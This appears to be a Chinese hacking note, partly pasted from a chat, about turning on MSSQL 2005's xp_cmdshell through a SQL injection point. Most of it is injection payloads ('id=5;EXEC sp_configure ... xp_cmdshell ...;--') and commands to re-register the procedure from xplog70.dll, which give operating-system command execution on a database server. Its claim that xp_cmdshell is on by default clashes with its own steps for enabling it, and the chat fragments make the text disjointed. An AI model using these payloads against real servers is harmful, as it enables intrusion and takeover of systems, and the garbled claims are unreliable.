MSSQL SERVER 2005默认把xpcmdshell 给ON了 如果要启用的话就必须把他加到高级用户模式 可以直接在注入点那里直接注入 id=5;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;-- 然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll");-- 或者 sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll' 来恢复cmdshell。 分析器 EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;-- 然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll") 老猪猪(2396644xx) 15:42:42 create table [xl] ([xl1][varchar](255) null,[xl2][varchar] null) 就行了